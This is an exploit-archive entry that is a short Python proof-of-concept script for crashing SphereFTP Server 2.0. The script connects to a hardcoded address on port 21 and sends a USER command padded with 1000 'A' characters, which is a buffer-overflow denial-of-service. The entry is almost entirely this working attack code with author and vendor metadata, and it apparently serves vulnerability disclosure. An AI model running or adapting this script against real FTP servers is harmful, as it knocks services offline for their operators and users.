SphereFTP Server 2.0 Crash

`#!/usr/bin/python  
# Exploit Title: SphereFTP Server v2.0 Remote Crash PoC  
# Date: 2015-09-02  
# Exploit Author: Meisam Monsef [email protected] or [email protected]  
# Vendor Homepage: http://www.menasoft.com/blog/?p=32  
# Software Link: http://www.menasoft.com/sphereftp/sphereftp_win32_v20.zip  
# Version: 2.0  
# Tested on: Microsoft Windows XP Professional SP3  
  
import socket  
target = '192.168.0.166'  
exploit = "A" * 1000  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((target,21))  
s.send("USER "+exploit+"\r\n")  
s.close()  
  
  
`